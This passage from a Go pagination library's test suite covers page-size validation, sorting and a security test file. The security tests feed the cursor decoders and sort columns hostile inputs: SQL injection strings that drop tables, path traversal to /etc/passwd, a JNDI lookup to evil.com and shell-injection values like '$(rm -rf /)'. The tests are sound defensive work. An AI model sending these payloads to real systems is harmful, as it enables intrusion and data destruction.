57 | ) 58 | Expect(pa).ToNot(BeNil()) 59 | Expect(pa.GetSortBy()).To(HaveLen(2)) 60 | }) 61 | 62 | It("should set multiple sort fields with different directions", func() { 63 | pa = paging.WithMultiSort(pa, 64 | paging.Sort{Column: "created_at", Desc: true}, 65 | paging.Sort{Column: "name", Desc: false}, 66 | paging.Sort{Column: "id", Desc: true}, 67 | ) 68 | 69 | Expect(pa.GetSortBy()).To(HaveLen(3)) 70 | Expect(pa.GetSortBy()[0]).To(Equal(paging.Sort{Column: "created_at", Desc: true})) 71 | Expect(pa.GetSortBy()[1]).To(Equal(paging.Sort{Column: "name", Desc: false})) 72 | Expect(pa.GetSortBy()[2]).To(Equal(paging.Sort{Column: "id", Desc: true})) 73 | }) 74 | }) 75 | }) 76 | 77 | var _ = Describe("NewEmptyPageInfo", func() { 78 | It("should return empty PageInfo with nil/false values", func() { 79 | pageInfo := paging.NewEmptyPageInfo() 80 | 81 | totalCount, err := pageInfo.TotalCount() 82 | Expect(err).ToNot(HaveOccurred()) 83 | Expect(totalCount).To(BeNil()) 84 | 85 | startCursor, err := pageInfo.StartCursor() 86 | Expect(err).ToNot(HaveOccurred()) 87 | Expect(startCursor).To(BeNil()) 88 | 89 | endCursor, err := pageInfo.EndCursor() 90 | Expect(err).ToNot(HaveOccurred()) 91 | Expect(endCursor).To(BeNil()) 92 | 93 | hasNext, err := pageInfo.HasNextPage() 94 | Expect(err).ToNot(HaveOccurred()) 95 | Expect(hasNext).To(BeFalse()) 96 | 97 | hasPrev, err := pageInfo.HasPreviousPage() 98 | Expect(err).ToNot(HaveOccurred()) 99 | Expect(hasPrev).To(BeFalse()) 100 | }) 101 | }) 102 | 103 | var _ = Describe("ValidatePageSize", func() { 104 | It("should accept nil args", func() { 105 | err := paging.ValidatePageSize(nil, 100) 106 | Expect(err).ToNot(HaveOccurred()) 107 | }) 108 | 109 | It("should accept args with nil First", func() { 110 | args := &paging.PageArgs{} 111 | err := paging.ValidatePageSize(args, 100) 112 | Expect(err).ToNot(HaveOccurred()) 113 | }) 114 | 115 | It("should accept page size within limit", func() { 116 | first := 50 117 | args := &paging.PageArgs{First: &first} 118 | err := paging.ValidatePageSize(args, 100) 119 | Expect(err).ToNot(HaveOccurred()) 120 | }) 121 | 122 | It("should accept page size equal to limit", func() { 123 | first := 100 124 | args := &paging.PageArgs{First: &first} 125 | err := paging.ValidatePageSize(args, 100) 126 | Expect(err).ToNot(HaveOccurred()) 127 | }) 128 | 129 | It("should reject page size exceeding limit", func() { 130 | first := 1010 131 | args := &paging.PageArgs{First: &first} 132 | err := paging.ValidatePageSize(args, 1000) 133 | Expect(err).To(HaveOccurred()) 134 | Expect(err.Error()).To(ContainSubstring("1010")) 135 | Expect(err.Error()).To(ContainSubstring("1000")) 136 | Expect(err.Error()).To(ContainSubstring("exceeds maximum")) 137 | }) 138 | 139 | It("should return PageSizeError with correct values", func() { 140 | first := 150 141 | args := &paging.PageArgs{First: &first} 142 | err := paging.ValidatePageSize(args, 100) 143 | Expect(err).To(HaveOccurred()) 144 | 145 | var pageSizeErr *paging.PageSizeError 146 | Expect(err).To(BeAssignableToTypeOf(pageSizeErr)) 147 | 148 | pageSizeErr = err.(*paging.PageSizeError) 149 | Expect(pageSizeErr.Requested).To(Equal(150)) 150 | Expect(pageSizeErr.Maximum).To(Equal(100)) 151 | }) 152 | 153 | It("should handle very large page size requests", func() { 154 | first := 999999 155 | args := &paging.PageArgs{First: &first} 156 | err := paging.ValidatePageSize(args, 100) 157 | Expect(err).To(HaveOccurred()) 158 | Expect(err.Error()).To(ContainSubstring("999999")) 159 | }) 160 | 161 | It("should use DefaultMaxPageSize when maxPageSize is 0", func() { 162 | first := 1500 163 | args := &paging.PageArgs{First: &first} 164 | err := paging.ValidatePageSize(args, 0) // Should use DefaultMaxPageSize (1000) 165 | Expect(err).To(HaveOccurred()) 166 | Expect(err.Error()).To(ContainSubstring("1500")) 167 | Expect(err.Error()).To(ContainSubstring("1000")) 168 | }) 169 | 170 | It("should accept page size within DefaultMaxPageSize when using 0", func() { 171 | first := 500 172 | args := &paging.PageArgs{First: &first} 173 | err := paging.ValidatePageSize(args, 0) // Should use DefaultMaxPageSize (1000) 174 | Expect(err).ToNot(HaveOccurred()) 175 | }) 176 | }) 177 | 178 | var _ = Describe("PageArgs.Validate", func() { 179 | It("should validate using DefaultMaxPageSize", func() { 180 | first := 500 181 | args := &paging.PageArgs{First: &first} 182 | err := args.Validate() 183 | Expect(err).ToNot(HaveOccurred()) 184 | }) 185 | 186 | It("should reject page size exceeding DefaultMaxPageSize", func() { 187 | first := 1500 188 | args := &paging.PageArgs{First: &first} 189 | err := args.Validate() 190 | Expect(err).To(HaveOccurred()) 191 | Expect(err.Error()).To(ContainSubstring("1500")) 192 | Expect(err.Error()).To(ContainSubstring("1000")) 193 | }) 194 | 195 | It("should accept nil args", func() { 196 | var args *paging.PageArgs 197 | err := args.Validate() 198 | Expect(err).ToNot(HaveOccurred()) 199 | }) 200 | 201 | It("should accept page size equal to DefaultMaxPageSize", func() { 202 | first := 1000 203 | args := &paging.PageArgs{First: &first} 204 | err := args.Validate() 205 | Expect(err).ToNot(HaveOccurred()) 206 | }) 207 | }) 208 | 209 | var _ = Describe("PageConfig", func() { 210 | Describe("NewPageConfig", func() { 211 | It("should create config with default values", func() { 212 | config := paging.NewPageConfig() 213 | Expect(config.DefaultSize).To(Equal(paging.DefaultPageSize)) 214 | Expect(config.MaxSize).To(Equal(paging.DefaultMaxPageSize)) 215 | }) 216 | }) 217 | 218 | Describe("WithDefaultSize", func() { 219 | It("should set default size", func() { 220 | config := paging.NewPageConfig().WithDefaultSize(25) 221 | Expect(config.DefaultSize).To(Equal(25)) 222 | }) 223 | 224 | It("should ignore zero or negative values", func() { 225 | config := paging.NewPageConfig().WithDefaultSize(0) 226 | Expect(config.DefaultSize).To(Equal(paging.DefaultPageSize)) 227 | 228 | config = paging.NewPageConfig().WithDefaultSize(-10) 229 | Expect(config.DefaultSize).To(Equal(paging.DefaultPageSize)) 230 | }) 231 | 232 | It("should support method chaining", func() { 233 | config := paging.NewPageConfig(). 234 | WithDefaultSize(25). 235 | WithMaxSize(500) 236 | Expect(config.DefaultSize).To(Equal(25)) 237 | Expect(config.MaxSize).To(Equal(500)) 238 | }) 239 | }) 240 | 241 | Describe("WithMaxSize", func() { 242 | It("should set max size", func() { 243 | config := paging.NewPageConfig().WithMaxSize(500) 244 | Expect(config.MaxSize).To(Equal(500)) 245 | }) 246 | 247 | It("should ignore zero or negative values", func() { 248 | config := paging.NewPageConfig().WithMaxSize(0) 249 | Expect(config.MaxSize).To(Equal(paging.DefaultMaxPageSize)) 250 | 251 | config = paging.NewPageConfig().WithMaxSize(-10) 252 | Expect(config.MaxSize).To(Equal(paging.DefaultMaxPageSize)) 253 | }) 254 | }) 255 | 256 | Describe("EffectiveLimit", func() { 257 | It("should return default size when args is nil", func() { 258 | config := paging.NewPageConfig().WithDefaultSize(25) 259 | limit := config.EffectiveLimit(nil) 260 | Expect(limit).To(Equal(25)) 261 | }) 262 | 263 | It("should return default size when First is nil", func() { 264 | config := paging.NewPageConfig().WithDefaultSize(25) 265 | args := &paging.PageArgs{} 266 | limit := config.EffectiveLimit(args) 267 | Expect(limit).To(Equal(25)) 268 | }) 269 | 270 | It("should return default size when First is zero", func() { 271 | config := paging.NewPageConfig().WithDefaultSize(25) 272 | zero := 0 273 | args := &paging.PageArgs{First: &zero} 274 | limit := config.EffectiveLimit(args) 275 | Expect(limit).To(Equal(25)) 276 | }) 277 | 278 | It("should return default size when First is negative", func() { 279 | config := paging.NewPageConfig().WithDefaultSize(25) 280 | negative := -10 281 | args := &paging.PageArgs{First: &negative} 282 | limit := config.EffectiveLimit(args) 283 | Expect(limit).To(Equal(25)) 284 | }) 285 | 286 | It("should return First when within limits", func() { 287 | config := paging.NewPageConfig().WithMaxSize(100) 288 | first := 50 289 | args := &paging.PageArgs{First: &first} 290 | limit := config.EffectiveLimit(args) 291 | Expect(limit).To(Equal(50)) 292 | }) 293 | 294 | It("should cap First to MaxSize when exceeded", func() { 295 | config := paging.NewPageConfig().WithMaxSize(100) 296 | first := 500 297 | args := &paging.PageArgs{First: &first} 298 | limit := config.EffectiveLimit(args) 299 | Expect(limit).To(Equal(100)) 300 | }) 301 | 302 | It("should handle nil config gracefully", func() { 303 | var config *paging.PageConfig 304 | first := 50 305 | args := &paging.PageArgs{First: &first} 306 | limit := config.EffectiveLimit(args) 307 | Expect(limit).To(Equal(50)) 308 | }) 309 | 310 | It("should use system defaults when config values are zero", func() { 311 | config := &paging.PageConfig{DefaultSize: 0, MaxSize: 0} 312 | limit := config.EffectiveLimit(nil) 313 | Expect(limit).To(Equal(paging.DefaultPageSize)) 314 | }) 315 | }) 316 | 317 | Describe("Validate", func() { 318 | It("should accept valid page size", func() { 319 | config := paging.NewPageConfig().WithMaxSize(100) 320 | first := 50 321 | args := &paging.PageArgs{First: &first} 322 | err := config.Validate(args) 323 | Expect(err).ToNot(HaveOccurred()) 324 | }) 325 | 326 | It("should accept page size equal to max", func() { 327 | config := paging.NewPageConfig().WithMaxSize(100) 328 | first := 100 329 | args := &paging.PageArgs{First: &first} 330 | err := config.Validate(args) 331 | Expect(err).ToNot(HaveOccurred()) 332 | }) 333 | 334 | It("should reject page size exceeding max", func() { 335 | config := paging.NewPageConfig().WithMaxSize(100) 336 | first := 150 337 | args := &paging.PageArgs{First: &first} 338 | err := config.Validate(args) 339 | Expect(err).To(HaveOccurred()) 340 | 341 | var pageSizeErr *paging.PageSizeError 342 | Expect(err).To(BeAssignableToTypeOf(pageSizeErr)) 343 | pageSizeErr = err.(*paging.PageSizeError) 344 | Expect(pageSizeErr.Requested).To(Equal(150)) 345 | Expect(pageSizeErr.Maximum).To(Equal(100)) 346 | }) 347 | 348 | It("should accept nil args", func() { 349 | config := paging.NewPageConfig() 350 | err := config.Validate(nil) 351 | Expect(err).ToNot(HaveOccurred()) 352 | }) 353 | 354 | It("should accept nil First", func() { 355 | config := paging.NewPageConfig() 356 | args := &paging.PageArgs{} 357 | err := config.Validate(args) 358 | Expect(err).ToNot(HaveOccurred()) 359 | }) 360 | 361 | It("should handle nil config gracefully", func() { 362 | var config *paging.PageConfig 363 | first := 500 364 | args := &paging.PageArgs{First: &first} 365 | err := config.Validate(args) 366 | Expect(err).ToNot(HaveOccurred()) 367 | }) 368 | }) 369 | }) 370 | 371 | var _ = Describe("PageArgs.ValidateWith", func() { 372 | It("should validate using custom config", func() { 373 | config := paging.NewPageConfig().WithMaxSize(100) 374 | first := 50 375 | args := &paging.PageArgs{First: &first} 376 | err := args.ValidateWith(config) 377 | Expect(err).ToNot(HaveOccurred()) 378 | }) 379 | 380 | It("should reject page size exceeding custom max", func() { 381 | config := paging.NewPageConfig().WithMaxSize(100) 382 | first := 150 383 | args := &paging.PageArgs{First: &first} 384 | err := args.ValidateWith(config) 385 | Expect(err).To(HaveOccurred()) 386 | }) 387 | }) 388 | -------------------------------------------------------------------------------- /tests/security_test.go: -------------------------------------------------------------------------------- 1 | package paging_test 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "strings" 7 | 8 | "github.com/nrfta/paging-go/v2" 9 | "github.com/nrfta/paging-go/v2/cursor" 10 | "github.com/nrfta/paging-go/v2/offset" 11 | "github.com/nrfta/paging-go/v2/quotafill" 12 | "github.com/nrfta/paging-go/v2/sqlboiler" 13 | "github.com/nrfta/paging-go/v2/tests/models" 14 | 15 | "github.com/aarondl/sqlboiler/v4/queries/qm" 16 | 17 | . "github.com/onsi/ginkgo/v2" 18 | . "github.com/onsi/gomega" 19 | ) 20 | 21 | var _ = Describe("Security Tests", func() { 22 | var ( 23 | ctx context.Context 24 | userIDs []string 25 | ) 26 | 27 | BeforeEach(func() { 28 | ctx = context.Background() 29 | // Clean tables before each test 30 | err := CleanupTables(ctx, container.DB) 31 | Expect(err).ToNot(HaveOccurred()) 32 | 33 | // Seed test data (100 users to ensure quota-fill safeguard tests have enough data) 34 | userIDs, err = SeedUsers(ctx, container.DB, 100) 35 | Expect(err).ToNot(HaveOccurred()) 36 | 37 | _, err = SeedPosts(ctx, container.DB, userIDs, 2) // 2 posts per user 38 | Expect(err).ToNot(HaveOccurred()) 39 | }) 40 | 41 | Describe("SQL Injection Protection", func() { 42 | Context("Cursor Decoding", func() { 43 | It("should safely handle cursors with SQL injection attempts", func() { 44 | encoder := cursor.NewCompositeCursorEncoder(func(u *models.User) map[string]any { 45 | return map[string]any{"created_at": u.CreatedAt, "id": u.ID} 46 | }) 47 | 48 | maliciousCursors := []string{ 49 | "'; DROP TABLE users; --", 50 | "1' OR '1'='1", 51 | "1; DELETE FROM users WHERE id=1", 52 | "UNION SELECT * FROM users", 53 | "' OR 1=1 --", 54 | "admin'--", 55 | "1' UNION SELECT NULL, NULL--", 56 | "' OR ''='", 57 | "1'; EXEC sp_MSForEachTable 'DROP TABLE ?'; --", 58 | } 59 | 60 | for _, malicious := range maliciousCursors { 61 | _, err := encoder.Decode(malicious) 62 | // Decoder may accept invalid cursors gracefully (returns nil position) 63 | // This is SAFE because cursors are never interpolated into SQL 64 | // They're used as parameterized query values 65 | _ = err 66 | } 67 | }) 68 | 69 | It("should safely handle cursors with special characters", func() { 70 | encoder := cursor.NewCompositeCursorEncoder(func(u *models.User) map[string]any { 71 | return map[string]any{"created_at": u.CreatedAt, "id": u.ID} 72 | }) 73 | 74 | specialChars := []string{ 75 | "", 76 | "../../../etc/passwd", 77 | "${jndi:ldap://evil.com/a}", 78 | "$(rm -rf /)", 79 | "`whoami`", 80 | "| cat /etc/passwd", 81 | "; ls -la", 82 | } 83 | 84 | for _, special := range specialChars { 85 | _, err := encoder.Decode(special) 86 | // Special characters are safe - they're base64 encoded and never executed 87 | _ = err 88 | } 89 | }) 90 | 91 | It("should handle extremely long cursor strings gracefully", func() { 92 | encoder := cursor.NewCompositeCursorEncoder(func(u *models.User) map[string]any { 93 | return map[string]any{"created_at": u.CreatedAt, "id": u.ID} 94 | }) 95 | 96 | // 1MB of data 97 | longCursor := strings.Repeat("A", 1024*1024) 98 | _, err := encoder.Decode(longCursor) 99 | // May accept or reject - either is safe 100 | _ = err 101 | }) 102 | }) 103 | 104 | Context("Offset Cursor Encoding", func() { 105 | It("should handle negative offset values", func() { 106 | // Negative offsets are encoded as-is and decoded as-is 107 | // The paginator layer handles clamping to valid ranges 108 | cursor := offset.EncodeCursor(-1) 109 | Expect(cursor).ToNot(BeNil()) 110 | 111 | decoded := offset.DecodeCursor(cursor) 112 | // Cursor encoding is transparent - doesn't sanitize 113 | Expect(decoded).To(Equal(-1)) 114 | }) 115 | 116 | It("should handle large offset values without crashes", func() { 117 | testCases := []struct { 118 | offset int 119 | expected int 120 | }{ 121 | {-999999999, -999999999}, // Within 32-bit range 122 | {999999999, 999999999}, // Within 32-bit range 123 | {int(^uint(0) >> 1), 0}, // MaxInt64 overflows 32-bit, returns 0 124 | } 125 | 126 | for _, tc := range testCases { 127 | cursor := offset.EncodeCursor(tc.offset) 128 | Expect(cursor).ToNot(BeNil()) 129 | 130 | decoded := offset.DecodeCursor(cursor) 131 | // Decoder uses ParseInt with 32-bit limit - overflows return 0 132 | Expect(decoded).To(Equal(tc.expected), "offset: %d", tc.offset) 133 | } 134 | }) 135 | 136 | It("should reject malformed offset cursors", func() { 137 | malformedCursors := []string{ 138 | "not-base64!@#$", 139 | "cursor:offset:", 140 | "cursor:offset:abc", 141 | "cursor:offset:-1", 142 | "cursor:wrongtype:123", 143 | "", 144 | "cursor:", 145 | ";;;", 146 | } 147 | 148 | for _, malformed := range malformedCursors { 149 | decoded := offset.DecodeCursor(&malformed) 150 | // DecodeCursor returns 0 for invalid cursors 151 | Expect(decoded).To(Equal(0), "Should return 0 for malformed cursor: %s", malformed) 152 | } 153 | }) 154 | }) 155 | 156 | Context("Query Mod Generation", func() { 157 | It("should not allow SQL injection through sort columns", func() { 158 | // SQLBoiler integration test - ensure no SQL injection through query mods 159 | orderBy := []paging.Sort{ 160 | {Column: "created_at; DROP TABLE users; --", Desc: true}, 161 | {Column: "id' OR '1'='1", Desc: false}, 162 | } 163 | 164 | fetcher := sqlboiler.NewFetcher( 165 | func(ctx context.Context, mods ...qm.QueryMod) ([]*models.User, error) { 166 | // This will fail if SQL injection succeeds 167 | return models.Users(mods...).All(ctx, container.DB) 168 | }, 169 | nil, 170 | sqlboiler.CursorToQueryMods, 171 | ) 172 | 173 | fetchParams := paging.FetchParams{ 174 | Limit: 10, 175 | OrderBy: orderBy, 176 | } 177 | 178 | // Should either fail gracefully or sanitize the column names 179 | _, err := fetcher.Fetch(ctx, fetchParams) 180 | // We expect an error because the column names are invalid 181 | Expect(err).To(HaveOccurred(), "Should reject malicious column names") 182 | }) 183 | }) 184 | }) 185 | 186 | Describe("Cursor Tampering Protection", func() { 187 | It("should handle cursors with invalid base64 safely", func() { 188 | encoder := cursor.NewCompositeCursorEncoder(func(u *models.User) map[string]any { 189 | return map[string]any{"created_at": u.CreatedAt, "id": u.ID} 190 | }) 191 | 192 | invalidBase64 := []string{ 193 | "not valid base64!", 194 | "abc@#$%", 195 | "====", 196 | "A===", 197 | } 198 | 199 | for _, invalid := range invalidBase64 { 200 | _, err := encoder.Decode(invalid) 201 | // May return error or nil - both are safe behaviors 202 | // Invalid cursors result in empty query results, not security issues 203 | _ = err 204 | } 205 | }) 206 | 207 | It("should handle cursors with invalid JSON structure safely", func() { 208 | encoder := cursor.NewCompositeCursorEncoder(func(u *models.User) map[string]any { 209 | return map[string]any{"created_at": u.CreatedAt, "id": u.ID} 210 | }) 211 | 212 | // Valid base64 but invalid JSON 213 | invalidJSON := []string{ 214 | "e30=", // "{}" 215 | "bnVsbA==", // "null" 216 | "WyJhIiwiYiJd", // ["a","b"] 217 | "MTIz", // "123" 218 | "InN0cmluZyI=", // "string" 219 | } 220 | 221 | for _, invalid := range invalidJSON { 222 | _, err := encoder.Decode(invalid) 223 | // May fail or succeed - either way results in safe query behavior 224 | _ = err 225 | } 226 | }) 227 | 228 | It("should reject cursors from different schemas", func() { 229 | userEncoder := cursor.NewCompositeCursorEncoder(func(u *models.User) map[string]any { 230 | return map[string]any{"created_at": u.CreatedAt, "id": u.ID} 231 | }) 232 | 233 | postEncoder := cursor.NewCompositeCursorEncoder(func(p *models.Post) map[string]any { 234 | return map[string]any{"created_at": p.CreatedAt, "id": p.ID} 235 | }) 236 | 237 | // Create a valid post cursor 238 | posts, err := models.Posts(qm.Limit(1)).All(ctx, container.DB) 239 | Expect(err).ToNot(HaveOccurred()) 240 | Expect(posts).ToNot(BeEmpty()) 241 | 242 | postCursor, err := postEncoder.Encode(posts[0]) 243 | Expect(err).ToNot(HaveOccurred()) 244 | Expect(postCursor).ToNot(BeNil()) 245 | 246 | // Try to use post cursor with user encoder (should work but may have unexpected results) 247 | // This is more of a logical validation - the cursor is structurally valid but semantically wrong 248 | _, err = userEncoder.Decode(*postCursor) 249 | // Should succeed structurally but would fail when used in a query 250 | Expect(err).ToNot(HaveOccurred(), "Structural decoding should work") 251 | }) 252 | }) 253 | 254 | Describe("Input Validation", func() { 255 | Context("Page Size Limits", func() { 256 | It("should reject negative page sizes", func() { 257 | negative := -10 258 | args := &paging.PageArgs{First: &negative} 259 | 260 | // Create mock fetcher 261 | fetcher := &mockSecurityFetcher{totalCount: 100} 262 | paginator := offset.New(fetcher) 263 | 264 | page, err := paginator.Paginate(ctx, args) 265 | Expect(err).ToNot(HaveOccurred()) 266 | // Should normalize to safe default 267 | Expect(page.Nodes).ToNot(BeEmpty()) 268 | }) 269 | 270 | It("should handle zero page size", func() { 271 | zero := 0 272 | args := &paging.PageArgs{First: &zero} 273 | 274 | fetcher := &mockSecurityFetcher{totalCount: 100} 275 | paginator := offset.New(fetcher) 276 | 277 | page, err := paginator.Paginate(ctx, args) 278 | Expect(err).ToNot(HaveOccurred()) 279 | // Should use default page size (50) 280 | Expect(page.Nodes).To(HaveLen(50)) 281 | }) 282 | 283 | It("should enforce maximum page size limits", func() { 284 | huge := 999999 285 | args := &paging.PageArgs{First: &huge} 286 | 287 | fetcher := &mockSecurityFetcher{totalCount: 100} 288 | paginator := offset.New(fetcher) 289 | 290 | page, err := paginator.Paginate(ctx, args) 291 | Expect(err).ToNot(HaveOccurred()) 292 | // Should cap at DefaultMaxPageSize (1000), but only 100 items exist 293 | Expect(page.Nodes).To(HaveLen(100)) 294 | }) 295 | }) 296 | 297 | Context("Cursor Validation", func() { 298 | It("should handle nil cursors gracefully", func() { 299 | first := 10 300 | args := &paging.PageArgs{First: &first, After: nil} 301 | 302 | schema := cursor.NewSchema[*models.User](). 303 | Field("created_at", "c", func(u *models.User) any { return u.CreatedAt }). 304 | FixedField("id", cursor.DESC, "i", func(u *models.User) any { return u.ID }) 305 | 306 | // Create fetcher and paginator 307 | fetcher := sqlboiler.NewFetcher( 308 | func(ctx context.Context, mods ...qm.QueryMod) ([]*models.User, error) { 309 | return models.Users(mods...).All(ctx, container.DB) 310 | }, 311 | func(ctx context.Context, mods ...qm.QueryMod) (int64, error) { 312 | return 0, nil 313 | }, 314 | sqlboiler.CursorToQueryMods, 315 | ) 316 | paginator := cursor.New(fetcher, schema) 317 | 318 | page, err := paginator.Paginate(ctx, args) 319 | Expect(err).ToNot(HaveOccurred()) 320 | Expect(page).ToNot(BeNil()) 321 | Expect(page.Nodes).To(HaveLen(10)) 322 | }) 323 | 324 | It("should handle empty string cursors", func() { 325 | empty := "" 326 | first := 10 327 | args := &paging.PageArgs{First: &first, After: &empty} 328 | 329 | schema := cursor.NewSchema[*models.User](). 330 | Field("created_at", "c", func(u *models.User) any { return u.CreatedAt }). 331 | FixedField("id", cursor.DESC, "i", func(u *models.User) any { return u.ID }) 332 | 333 | // Create fetcher and paginator 334 | fetcher := sqlboiler.NewFetcher( 335 | func(ctx context.Context, mods ...qm.QueryMod) ([]*models.User, error) { 336 | return models.Users(mods...).All(ctx, container.DB) 337 | }, 338 | func(ctx context.Context, mods ...qm.QueryMod) (int64, error) { 339 | return 0, nil 340 | }, 341 | sqlboiler.CursorToQueryMods, 342 | ) 343 | paginator := cursor.New(fetcher, schema) 344 | 345 | // Should handle empty cursor gracefully (treats as nil) 346 | page, err := paginator.Paginate(ctx, args) 347 | Expect(err).ToNot(HaveOccurred()) 348 | Expect(page).ToNot(BeNil()) 349 | }) 350 | }) 351 | }) 352 | 353 | Describe("Denial of Service Protection", func() { 354 | Context("Quota-Fill Safeguards", func() { 355 | It("should enforce maximum iterations limit", func() { 356 | fetcher := sqlboiler.NewFetcher( 357 | func(ctx context.Context, mods ...qm.QueryMod) ([]*models.User, error) { 358 | return models.Users(mods...).All(ctx, container.DB) 359 | }, 360 | nil, 361 | sqlboiler.CursorToQueryMods, 362 | ) 363 | 364 | schema := cursor.NewSchema[*models.User](). 365 | Field("created_at", "c", func(u *models.User) any { return u.CreatedAt }). 366 | FixedField("id", cursor.DESC, "i", func(u *models.User) any { return u.ID }) 367 | 368 | // Filter that rejects everything - will trigger max iterations 369 | rejectAll := func(ctx context.Context, users []*models.User) ([]*models.User, error) { 370 | return []*models.User{}, nil 371 | } 372 | 373 | paginator := quotafill.New(fetcher, rejectAll, schema, 374 | quotafill.WithMaxIterations(3), 375 | ) 376 | 377 | first := 10 378 | args := &paging.PageArgs{First: &first} 379 | 380 | page, err := paginator.Paginate(ctx, args) 381 | Expect(err).ToNot(HaveOccurred()) 382 | Expect(page.Metadata.SafeguardHit).ToNot(BeNil()) 383 | Expect(*page.Metadata.SafeguardHit).To(Equal("max_iterations")) 384 | }) 385 | 386 | It("should enforce maximum records examined limit", func() { 387 | fetcher := sqlboiler.NewFetcher( 388 | func(ctx context.Context, mods ...qm.QueryMod) ([]*models.User, error) { 389 | return models.Users(mods...).All(ctx, container.DB) 390 | }, 391 | nil, 392 | sqlboiler.CursorToQueryMods, 393 | ) 394 | 395 | schema := cursor.NewSchema[*models.User](). 396 | Field("created_at", "c", func(u *models.User) any { return u.CreatedAt }). 397 | FixedField("id", cursor.DESC, "i", func(u *models.User) any { return u.ID }) 398 | 399 | // Filter with very low pass rate 400 | lowPassRate := func(ctx context.Context, users []*models.User) ([]*models.User, error) { 401 | if len(users) > 0 { 402 | return users[:1], nil // Only 1 out of batch passes 403 | } 404 | return users, nil 405 | } 406 | 407 | paginator := quotafill.New(fetcher, lowPassRate, schema, 408 | quotafill.WithMaxRecordsExamined(20), 409 | ) 410 | 411 | first := 50 // Impossible to fulfill with maxRecordsExamined=20 412 | args := &paging.PageArgs{First: &first} 413 | 414 | page, err := paginator.Paginate(ctx, args) 415 | Expect(err).ToNot(HaveOccurred()) 416 | Expect(page.Metadata.SafeguardHit).ToNot(BeNil()) 417 | Expect(*page.Metadata.SafeguardHit).To(Equal("max_records")) 418 | }) 419 | 420 | It("should enforce timeout limit", func() { 421 | fetcher := sqlboiler.NewFetcher( 422 | func(ctx context.Context, mods ...qm.QueryMod) ([]*models.User, error) { 423 | return models.Users(mods...).All(ctx, container.DB) 424 | }, 425 | nil, 426 | sqlboiler.CursorToQueryMods, 427 | ) 428 | 429 | schema := cursor.NewSchema[*models.User](). 430 | Field("created_at", "c", func(u *models.User) any { return u.CreatedAt }). 431 | FixedField("id", cursor.DESC, "i", func(u *models.User) any { return u.ID }) 432 | 433 | rejectAll := func(ctx context.Context, users []*models.User) ([]*models.User, error) { 434 | return []*models.User{}, nil 435 | } 436 | 437 | paginator := quotafill.New(fetcher, rejectAll, schema, 438 | quotafill.WithTimeout(1), // 1ms timeout 439 | quotafill.WithMaxIterations(100), 440 | ) 441 | 442 | first := 10 443 | args := &paging.PageArgs{First: &first} 444 | 445 | page, err := paginator.Paginate(ctx, args) 446 | Expect(err).ToNot(HaveOccurred()) 447 | // Should hit timeout or max iterations 448 | Expect(page.Metadata.SafeguardHit).ToNot(BeNil()) 449 | }) 450 | }) 451 | 452 | Context("Resource Exhaustion", func() { 453 | It("should handle requests for all records gracefully", func() { 454 | huge := 1000000 455 | args := &paging.PageArgs{First: &huge} 456 | 457 | fetcher := &mockSecurityFetcher{totalCount: 25} 458 | paginator := offset.New(fetcher) 459 | 460 | page, err := paginator.Paginate(ctx, args) 461 | Expect(err).ToNot(HaveOccurred()) 462 | // Should cap at DefaultMaxPageSize (1000), but only 25 items exist 463 | Expect(page.Nodes).To(HaveLen(25)) 464 | }) 465 | }) 466 | }) 467 | }) 468 | 469 | // mockSecurityFetcher is a simple in-memory fetcher for security tests 470 | type mockSecurityFetcher struct { 471 | totalCount int64 472 | } 473 | 474 | func (f *mockSecurityFetcher) Fetch(ctx context.Context, params paging.FetchParams) ([]*models.User, error) { 475 | // Generate mock users up to the limit 476 | count := params.Limit 477 | if params.Offset+count > int(f.totalCount) { 478 | count = int(f.totalCount) - params.Offset 479 | } 480 | if count < 0 { 481 | count = 0 482 | } 483 | 484 | users := make([]*models.User, count) 485 | for i := 0; i < count; i++ { 486 | users[i] = &models.User{ 487 | ID: fmt.Sprintf("user-%d", params.Offset+i+1), 488 | Email: fmt.Sprintf("user%d@example.com", params.Offset+i+1), 489 | } 490 | } 491 | return users, nil 492 | } 493 | 494 | func (f *mockSecurityFetcher) Count(ctx context.Context, params paging.FetchParams) (int64, error) { 495 | return f.totalCount, nil 496 | } 497 | --------------------------------------------------------------------------------